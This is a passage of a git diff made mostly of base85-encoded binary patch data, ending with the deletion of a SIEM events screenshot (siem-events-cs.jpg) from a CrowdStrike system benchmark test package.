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
OEa52ZJs@N`_J07|E<Z8=

diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/img/siem-events-cs.jpg b/test/packages/benchmarks/system_benchmark_crowdstrike/img/siem-events-cs.jpg
deleted file mode 100644
index 9839f73821360af6acf66753a063350a535a33e9..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 523409
zcmeFa2S5}_&@ei%<eW2tfP!Snc|jzJWB~zTiIRh4bYT?*1Ox;W6vdUGfCxyIAfRL<
zNX}UW1a!#@Y<Por-raX!c=v_({{Ow7(b=i#sjjZ7?&+?su4(XN_&I>?g0`MEKtKQh
z_rZSvejd1~73zK!01ONOVE_Qg0Ad0L00Ke;;6H$X10enh1Hc6W&OcyN0-@h=2mv6*
z9U%H0#~QpI9U$eS+`nH5pA-JVpyquJ`2~}pj!^OQ<R{$%1O1dFBzywI9h`j~UBsPy
zy(K~&{3OnbOG*GL&`>`ICr_6^UPl*KcOO;0A9am<yzb7be3r5Xk_LX7E^h9+*Zp10
